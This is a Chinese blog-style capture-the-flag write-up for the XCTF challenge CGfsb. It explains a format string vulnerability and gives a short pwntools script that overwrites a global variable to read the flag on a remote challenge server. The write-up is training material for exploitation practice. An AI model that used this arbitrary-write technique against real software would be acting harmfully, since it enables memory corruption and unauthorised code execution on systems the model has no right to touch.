欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CGfsb(xctf)

程序员文章站 2022-05-15 20:23:29
...

0x0 程序保护和流程

保护:

CGfsb(xctf)

流程:

main()

CGfsb(xctf)

可以明显的发现存在一个格式化字符串漏洞,然后当pwnme这个变量等于8时调用’cat flag’这个命令。又因为程序没有开启pie并且pwnme是全局变量,所以可以通过格式化字符串漏洞将pwnme这个变量改为8从而得到flag。

0x1 利用过程

首先先确定偏移量

CGfsb(xctf)

可以发现偏移量是10,然后查看pwnme变量的地址

CGfsb(xctf)

将pwnme的值改为8所以我们的格式化字符串应该构造为:pwnme变量的地址+’%4c%10$n’

因为32位程序中地址相当于四个字符所以我们加上’%4c’就可以向偏移量为10的位置处的地址写入8。

0x2 exp

from pwn import *
sh=remote('124.126.19.106','41326')
# sh=process('./a')
sh.recvuntil('please tell me your name:')
sh.sendline('whitehand')
payload=p32(0x0804A068)+'%4c%10$n'
sh.recvuntil('leave your message please:')
sh.sendline(payload)
sh.interactive()
相关标签: xctf(新手区)